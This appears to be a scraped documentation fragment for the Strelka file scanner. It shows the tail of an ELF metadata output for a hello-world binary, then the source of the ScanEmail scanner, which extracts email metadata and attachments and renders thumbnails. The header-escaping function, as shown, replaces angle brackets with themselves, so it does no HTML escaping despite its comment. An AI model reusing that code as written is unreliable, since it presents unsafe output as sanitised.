\"entropy\": 0.5435644431995964,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".fini_array\",\n \"offset\": 11712,\n \"size\": 8,\n \"type\": \"FINI_ARRAY\",\n \"segments\": [\"LOAD\", \"GNU_RELRO\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.4564336815986219,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".dynamic\",\n \"offset\": 11720,\n \"size\": 496,\n \"type\": \"DYNAMIC\",\n \"segments\": [\"LOAD\", \"DYNAMIC\", \"GNU_RELRO\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 0.4206545402614363,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".got\",\n \"offset\": 12216,\n \"size\": 72,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\", \"GNU_RELRO\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 0.6685644431995964,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".data\",\n \"offset\": 12288,\n \"size\": 16,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 1,\n \"entropy\": 2.75,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".bss\",\n \"offset\": 12304,\n \"size\": 8,\n \"type\": \"NOBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 1,\n \"entropy\": 3.935955649986687,\n \"flags\": [\"MERGE\", \"STRINGS\"],\n \"name\": \".comment\",\n \"offset\": 12304,\n \"size\": 37,\n \"type\": \"PROGBITS\",\n \"segments\": [],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.7068900631460535,\n \"flags\": [],\n \"name\": \".symtab\",\n \"offset\": 12344,\n \"size\": 864,\n \"type\": \"SYMTAB\",\n \"segments\": [],\n },\n {\n \"alignment\": 1,\n \"entropy\": 4.8437883286856245,\n \"flags\": [],\n \"name\": \".strtab\",\n \"offset\": 13208,\n \"size\": 481,\n \"type\": \"STRTAB\",\n \"segments\": [],\n },\n {\n \"alignment\": 1,\n \"entropy\": 4.270277599965863,\n \"flags\": [],\n \"name\": \".shstrtab\",\n \"offset\": 13689,\n \"size\": 282,\n \"type\": \"STRTAB\",\n \"segments\": [],\n },\n ],\n \"segments\": [\n {\n \"alignment\": 8,\n \"file_offset\": 64,\n \"physical\": {\"address\": 64, \"size\": 728},\n \"sections\": [],\n \"type\": \"PHDR\",\n \"virtual\": {\"address\": 64, \"size\": 728},\n },\n {\n \"alignment\": 1,\n \"file_offset\": 792,\n \"physical\": {\"address\": 792, \"size\": 28},\n \"sections\": [\"interp\"],\n \"type\": \"INTERP\",\n \"virtual\": {\"address\": 792, \"size\": 28},\n },\n {\n \"alignment\": 4096,\n \"file_offset\": 0,\n \"physical\": {\"address\": 0, \"size\": 1576},\n \"sections\": [\n \"interp\",\n \"note\",\n \"note\",\n \"note\",\n \"gnu\",\n \"dynsym\",\n \"dynstr\",\n \"gnu\",\n \"gnu\",\n \"rela\",\n \"rela\",\n ],\n \"type\": \"LOAD\",\n \"virtual\": {\"address\": 0, \"size\": 1576},\n },\n {\n \"alignment\": 4096,\n \"file_offset\": 4096,\n \"physical\": {\"address\": 4096, \"size\": 373},\n \"sections\": [\"init\", \"plt\", \"plt\", \"plt\", \"text\", \"fini\"],\n \"type\": \"LOAD\",\n \"virtual\": {\"address\": 4096, \"size\": 373},\n },\n {\n \"alignment\": 4096,\n \"file_offset\": 8192,\n \"physical\": {\"address\": 8192, \"size\": 244},\n \"sections\": [\"rodata\", \"eh_frame_hdr\", \"eh_frame\"],\n \"type\": \"LOAD\",\n \"virtual\": {\"address\": 8192, \"size\": 244},\n },\n {\n \"alignment\": 4096,\n \"file_offset\": 11704,\n \"physical\": {\"address\": 15800, \"size\": 600},\n \"sections\": [\n \"init_array\",\n \"fini_array\",\n \"dynamic\",\n \"got\",\n \"data\",\n \"bss\",\n ],\n \"type\": \"LOAD\",\n \"virtual\": {\"address\": 15800, \"size\": 608},\n },\n {\n \"alignment\": 8,\n \"file_offset\": 11720,\n \"physical\": {\"address\": 15816, \"size\": 496},\n \"sections\": [\"dynamic\"],\n \"type\": \"DYNAMIC\",\n \"virtual\": {\"address\": 15816, \"size\": 496},\n },\n {\n \"alignment\": 8,\n \"file_offset\": 824,\n \"physical\": {\"address\": 824, \"size\": 48},\n \"sections\": [\"note\"],\n \"type\": \"NOTE\",\n \"virtual\": {\"address\": 824, \"size\": 48},\n },\n {\n \"alignment\": 4,\n \"file_offset\": 872,\n \"physical\": {\"address\": 872, \"size\": 68},\n \"sections\": [\"note\", \"note\"],\n \"type\": \"NOTE\",\n \"virtual\": {\"address\": 872, \"size\": 68},\n },\n {\n \"alignment\": 8,\n \"file_offset\": 824,\n \"physical\": {\"address\": 824, \"size\": 48},\n \"sections\": [\"note\"],\n \"type\": \"GNU_PROPERTY\",\n \"virtual\": {\"address\": 824, \"size\": 48},\n },\n {\n \"alignment\": 4,\n \"file_offset\": 8212,\n \"physical\": {\"address\": 8212, \"size\": 52},\n \"sections\": [\"eh_frame_hdr\"],\n \"type\": \"GNU_EH_FRAME\",\n \"virtual\": {\"address\": 8212, \"size\": 52},\n },\n {\n \"alignment\": 16,\n \"file_offset\": 0,\n \"physical\": {\"address\": 0, \"size\": 0},\n \"sections\": [],\n \"type\": \"GNU_STACK\",\n \"virtual\": {\"address\": 0, \"size\": 0},\n },\n {\n \"alignment\": 1,\n \"file_offset\": 11704,\n \"physical\": {\"address\": 15800, \"size\": 584},\n \"sections\": [\"init_array\", \"fini_array\", \"dynamic\", \"got\"],\n \"type\": \"GNU_RELRO\",\n \"virtual\": {\"address\": 15800, \"size\": 584},\n },\n ],\n \"symbols\": {\n \"exported\": [\n \"_fini\",\n \"__dso_handle\",\n \"_IO_stdin_used\",\n \"_start\",\n \"main\",\n \"__TMC_END__\",\n \"_init\",\n ],\n \"imported\": [\n \"__libc_start_main\",\n \"puts\",\n \"__cxa_finalize\",\n \"__libc_start_main@GLIBC_2.34\",\n \"puts@GLIBC_2.2.5\",\n \"__cxa_finalize@GLIBC_2.2.5\",\n ],\n \"libraries\": [\"libc.so.6\"],\n \"table\": [\n {\n \"binding\": \"LOCAL\",\n \"information\": 0,\n \"function\": False,\n \"symbol\": \"\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"* Local *\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"__libc_start_main\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"GLIBC_2.34(2)\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"_ITM_deregisterTMCloneTable\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"* Global *\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"puts\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"GLIBC_2.2.5(3)\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"__gmon_start__\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"* Global *\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"_ITM_registerTMCloneTable\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"* Global *\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 34,\n \"function\": True,\n \"symbol\": \"__cxa_finalize\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"GLIBC_2.2.5(3)\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 0,\n \"function\": False,\n \"symbol\": \"\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 4,\n \"function\": False,\n \"symbol\": \"Scrt1.o\",\n \"section_index\": \"ABS\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FILE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"__abi_tag\",\n \"section_index\": \"???\",\n \"size\": 32,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 4,\n \"function\": False,\n \"symbol\": \"crtstuff.c\",\n \"section_index\": \"ABS\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FILE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 2,\n \"function\": True,\n \"symbol\": \"deregister_tm_clones\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 2,\n \"function\": True,\n \"symbol\": \"register_tm_clones\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 2,\n \"function\": True,\n \"symbol\": \"__do_global_dtors_aux\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"completed.0\",\n \"section_index\": \"???\",\n \"size\": 1,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"__do_global_dtors_aux_fini_array_entry\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 2,\n \"function\": True,\n \"symbol\": \"frame_dummy\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"__frame_dummy_init_array_entry\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 4,\n \"function\": False,\n \"symbol\": \"hello_world.c\",\n \"section_index\": \"ABS\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FILE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 4,\n \"function\": False,\n \"symbol\": \"crtstuff.c\",\n \"section_index\": \"ABS\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FILE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"__FRAME_END__\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 4,\n \"function\": False,\n \"symbol\": \"\",\n \"section_index\": \"ABS\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FILE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"_DYNAMIC\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 0,\n \"function\": False,\n \"symbol\": \"__GNU_EH_FRAME_HDR\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"LOCAL\",\n \"information\": 1,\n \"function\": False,\n \"symbol\": \"_GLOBAL_OFFSET_TABLE_\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"__libc_start_main@GLIBC_2.34\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"_ITM_deregisterTMCloneTable\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"data_start\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"puts@GLIBC_2.2.5\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 16,\n \"function\": False,\n \"symbol\": \"_edata\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"_fini\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"HIDDEN\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 16,\n \"function\": False,\n \"symbol\": \"__data_start\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"__gmon_start__\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 17,\n \"function\": False,\n \"symbol\": \"__dso_handle\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"HIDDEN\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 17,\n \"function\": False,\n \"symbol\": \"_IO_stdin_used\",\n \"section_index\": \"???\",\n \"size\": 4,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 16,\n \"function\": False,\n \"symbol\": \"_end\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"_start\",\n \"section_index\": \"???\",\n \"size\": 38,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 16,\n \"function\": False,\n \"symbol\": \"__bss_start\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"main\",\n \"section_index\": \"???\",\n \"size\": 30,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 17,\n \"function\": False,\n \"symbol\": \"__TMC_END__\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"OBJECT\",\n \"variable\": True,\n \"visibility\": \"HIDDEN\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 32,\n \"function\": False,\n \"symbol\": \"_ITM_registerTMCloneTable\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"NOTYPE\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"WEAK\",\n \"information\": 34,\n \"function\": True,\n \"symbol\": \"__cxa_finalize@GLIBC_2.2.5\",\n \"section_index\": \"UNDEF\",\n \"size\": 0,\n \"static\": False,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"DEFAULT\",\n },\n {\n \"binding\": \"GLOBAL\",\n \"information\": 18,\n \"function\": True,\n \"symbol\": \"_init\",\n \"section_index\": \"???\",\n \"size\": 0,\n \"static\": True,\n \"version\": \"None\",\n \"type\": \"FUNC\",\n \"variable\": False,\n \"visibility\": \"HIDDEN\",\n },\n ],\n },\n }\nScanner that collects metadata, extracts files from email messages, and generates thumbnails.
This scanner processes email files to extract metadata, attachments, and generates thumbnail images of the email content for a visual overview. It handles both plain text and HTML emails, including inline images.
Source code instrelka/src/python/strelka/scanners/scan_email.py class ScanEmail(strelka.Scanner):\n \"\"\"\n Scanner that collects metadata, extracts files from email messages, and generates thumbnails.\n\n This scanner processes email files to extract metadata, attachments, and generates\n thumbnail images of the email content for a visual overview. It handles both plain text and HTML emails,\n including inline images.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the email, extracts metadata and attachments, and optionally generates a thumbnail.\n\n Args:\n data: The raw email data.\n file: File details.\n options: Scanner options including thumbnail creation and size.\n expire_at: Expiry time of the scan.\n \"\"\"\n # Initialize data structures for storing scan results\n attachments = []\n self.event[\"total\"] = {\"attachments\": 0, \"extracted\": 0}\n\n # Thumbnail creation based on user option\n create_thumbnail = options.get(\"create_thumbnail\", False)\n thumbnail_header = options.get(\"thumbnail_header\", False)\n thumbnail_size = options.get(\"thumbnail_size\", (500, 500))\n\n # Attempt to create a thumbnail from the email\n if create_thumbnail:\n try:\n image = self.create_email_thumbnail(data, thumbnail_header)\n if image:\n image.thumbnail(thumbnail_size, Image.Resampling.BILINEAR)\n buffered = io.BytesIO()\n image.save(buffered, format=\"WEBP\", quality=30, optimize=True)\n base64_image = base64.b64encode(buffered.getvalue()).decode(\"utf-8\")\n self.event[\"base64_thumbnail\"] = base64_image\n else:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: Could not generate thumbnail. No HTML found.\"\n )\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: {str(e)[:50]}\"\n )\n\n # Parse email contents\n try:\n # Open and parse email byte string\n ep = eml_parser.EmlParser(\n include_attachment_data=True, include_raw_body=True\n )\n parsed_eml = ep.decode_email_bytes(data)\n\n # Check if email was parsed properly and attempt to deconflict and reload.\n if not (parsed_eml[\"header\"][\"subject\"] and parsed_eml[\"header\"][\"header\"]):\n if b\"\\nReceived: from \" in data:\n data = (\n data.rpartition(b\"\\nReceived: from \")[1]\n + data.rpartition(b\"\\nReceived: from \")[2]\n )[1:]\n elif b\"Start mail input; end with <CRLF>.<CRLF>\\n\" in data:\n data = data.rpartition(\n b\"Start mail input; end with <CRLF>.<CRLF>\\n\"\n )[2]\n parsed_eml = ep.decode_email_bytes(data)\n\n # Extract body content and domains\n if \"body\" in parsed_eml:\n for body in parsed_eml[\"body\"]:\n if \"content_type\" in body:\n if body[\"content_type\"] == \"text/plain\":\n if len(body[\"content\"]) <= 200:\n self.event[\"body\"] = body[\"content\"]\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100]\n + \"...\"\n + body[\"content\"][-100:]\n )\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100] + \"...\" + body[\"content\"][-100:]\n )\n if \"domain\" in body:\n if \"domain\" in self.event:\n self.event[\"domains\"] += body[\"domain\"]\n else:\n self.event[\"domains\"] = body[\"domain\"]\n\n # Extract attachment details and raw data\n if \"attachment\" in parsed_eml:\n self.event[\"attachments\"] = {\n \"filenames\": [],\n \"hashes\": [],\n \"totalsize\": 0,\n }\n for attachment in parsed_eml[\"attachment\"]:\n self.event[\"attachments\"][\"filenames\"].append(\n attachment[\"filename\"]\n )\n self.event[\"attachments\"][\"hashes\"].append(\n attachment[\"hash\"][\"md5\"]\n )\n self.event[\"attachments\"][\"totalsize\"] += attachment[\"size\"]\n attachments.append(\n {\n \"name\": attachment[\"filename\"],\n \"content-type\": attachment[\"content_header\"][\n \"content-type\"\n ][0],\n \"raw\": base64.b64decode(attachment[\"raw\"]),\n }\n )\n\n # Extract email header information\n self.event[\"subject\"] = parsed_eml[\"header\"].get(\"subject\", \"\")\n self.event[\"to\"] = parsed_eml[\"header\"].get(\"to\", \"\")\n self.event[\"from\"] = parsed_eml[\"header\"].get(\"from\", \"\")\n date_header = parsed_eml[\"header\"].get(\"date\")\n if date_header:\n self.event[\"date_utc\"] = (\n date_header.astimezone(pytz.utc).isoformat()[:-6] + \".000Z\"\n )\n header = parsed_eml.get(\"header\", {}).get(\"header\", {})\n message_id = header.get(\"message-id\", [])[0] if header else None\n self.event[\"message_id\"] = (\n str(message_id.lstrip(\"<\").rstrip(\">\")) if message_id else \"\"\n )\n self.event[\"received_domain\"] = parsed_eml[\"header\"].get(\n \"received_domain\", []\n )\n self.event[\"received_ip\"] = parsed_eml[\"header\"].get(\"received_ip\", [])\n\n # Process attachments\n if attachments:\n for attachment in attachments:\n self.event[\"total\"][\"attachments\"] += 1\n name = attachment[\"name\"]\n try:\n flavors = [\n attachment[\"content-type\"]\n .encode(\"utf-8\")\n .partition(b\";\")[0]\n ]\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_extract_attachment_error: {str(e)[:50]}\"\n )\n # Send extracted file back to Strelka\n self.emit_file(attachment[\"raw\"], name=name, flavors=flavors)\n self.event[\"total\"][\"extracted\"] += 1\n\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_parse_error: {str(e)[:50]}\"\n )\n\n def create_email_thumbnail(self, data, show_header):\n \"\"\"\n Generates a thumbnail image from the content of an email message.\n\n This function processes the email to extract images and text, combines them into\n a single image, and returns that image.\n\n Args:\n show_header: Whether to show the header details in the output.\n data: Raw email data.\n\n Returns:\n A PIL Image object representing the combined thumbnail image of the email.\n None if no images could be created.\n \"\"\"\n # Supported image types for extraction from the email\n image_types = [\n \"image/gif\",\n \"image/jpeg\",\n \"image/png\",\n \"image/jpg\",\n \"image/bmp\",\n \"image/ico\",\n \"image/svg\",\n \"image/web\",\n ]\n\n # Dictionary to map content IDs to images\n images_dict = {}\n\n # Create a temporary directory to store generated images\n with tempfile.TemporaryDirectory() as temp_dir:\n # Parse the email data\n msg = email.message_from_bytes(data)\n\n # List to store paths of generated images\n images_list = []\n\n # Extract and format header details from the email\n if show_header:\n header_fields = [\"Date\", \"From\", \"To\", \"Subject\", \"Message-Id\"]\n header_values = {\n field: self.decode_and_format_header(msg, field)\n for field in header_fields\n }\n\n # Generate an HTML table from the header values\n headers_html = '<table width=\"100%\">\\n'\n for field, value in header_values.items():\n headers_html += f' <tr><td align=\"right\"><b>{field}:</b></td><td>{value}</td></tr>\\n'\n headers_html += \"</table>\\n<hr></p>\\n\"\n\n # Convert HTML header details to an image\n header_image_path = self.html_to_image(headers_html, temp_dir)\n if header_image_path:\n images_list.append(header_image_path)\n\n # Process the MIME parts to extract images\n for part in msg.walk():\n if part.is_multipart():\n continue\n\n mime_type = part.get_content_type()\n if mime_type in image_types:\n # Extract image data and create a base64 encoded version\n content_id = part.get(\"Content-ID\", \"\").strip(\"<>\")\n image_data = part.get_payload(decode=True)\n img_data_base64 = base64.b64encode(image_data).decode(\"utf-8\")\n images_dict[content_id] = img_data_base64\n\n # Process HTML body parts and replace CID references with base64 data\n for part in msg.walk():\n if part.get_content_type() == \"text/html\":\n payload = part.get_payload(decode=True).decode(\"utf-8\")\n for cid, img_data in images_dict.items():\n payload = payload.replace(\n f\"cid:{cid}\", f\"data:image/jpeg;base64,{img_data}\"\n )\n\n # Convert the modified HTML body to an image\n body_image_path = self.html_to_image(payload, temp_dir)\n if body_image_path:\n images_list.append(body_image_path)\n\n # Combine all extracted images into a single image\n if images_list:\n images = [Image.open(path) for path in images_list]\n return self.append_images(images)\n\n return None\n\n @staticmethod\n def html_to_image(html_content, temp_dir):\n \"\"\"\n Converts HTML content to an image.\n\n This method uses WeasyPrint to convert the HTML content to a PDF and then\n uses PyMuPDF (fitz) to render the PDF as an image. The rendered image is saved as a PNG file.\n\n Args:\n html_content: HTML content to be converted into an image.\n temp_dir: Temporary directory to store intermediate files.\n\n Returns:\n The file path to the generated image, or None if the process fails.\n \"\"\"\n # Generate a unique filename for the PDF\n pdf_filename = hashlib.md5(html_content.encode()).hexdigest() + \".pdf\"\n pdf_path = os.path.join(temp_dir, pdf_filename)\n\n # Convert HTML to a PDF using WeasyPrint\n try:\n HTML(string=html_content).write_pdf(pdf_path)\n\n # Open the PDF with fitz and render the first page as an image\n with fitz.open(pdf_path) as doc:\n if doc.page_count > 0:\n page = doc.load_page(0) # first page\n pix = page.get_pixmap()\n image_path = os.path.join(\n temp_dir, pdf_filename.replace(\".pdf\", \".png\")\n )\n pix.save(image_path)\n return image_path\n else:\n return None\n except Exception:\n return None\n\n @staticmethod\n def append_images(images):\n \"\"\"\n Combines multiple image objects into a single image.\n\n This function stacks the provided images vertically to create one continuous image.\n It's particularly useful for creating a visual summary of an email's content.\n\n Args:\n images: A list of PIL Image objects to be combined.\n\n Returns:\n A single PIL Image object that combines all the input images.\n \"\"\"\n # Define the background color for the combined image\n bg_color = (255, 255, 255)\n\n # Calculate the total width (max width among images) and total height (sum of heights of all images)\n widths, heights = zip(*(img.size for img in images))\n total_width = max(widths)\n total_height = sum(heights)\n\n # Create a new image with the calculated dimensions\n combined_image = Image.new(\"RGB\", (total_width, total_height), color=bg_color)\n\n # Paste each image onto the combined image, one below the other\n y_offset = 0\n for img in images:\n combined_image.paste(img, (0, y_offset))\n y_offset += img.height\n\n return combined_image\n\n @staticmethod\n def decode_and_format_header(msg, header_name):\n \"\"\"\n Decodes and safely formats a specific header field from an email message.\n\n Email headers can be encoded in various formats. This function decodes the header\n into a human-readable format, and also ensures that the text is safe for HTML display.\n\n Args:\n msg: Parsed email message object.\n header_name: The name of the header field to decode.\n\n Returns:\n A string representing the decoded and header field values.\n Returns a placeholder string if the header field is missing or cannot be decoded.\n \"\"\"\n try:\n # Decode the specified header field\n decoded_header = email.header.decode_header(msg[header_name])[0]\n # Convert bytes to string if necessary\n field_value = decoded_header[0]\n if isinstance(field_value, bytes):\n field_value = field_value.decode(decoded_header[1] or \"utf-8\")\n except Exception:\n field_value = \"<Unknown>\"\n\n # Replace angle brackets for HTML safety\n return field_value.replace(\"<\", \"<\").replace(\">\", \">\")\nscan(data, file, options, expire_at)","text":"Processes the email, extracts metadata and attachments, and optionally generates a thumbnail.
Parameters:
Name Type Description Defaultdata The raw email data.
requiredfile File details.
requiredoptions Scanner options including thumbnail creation and size.
requiredexpire_at Expiry time of the scan.
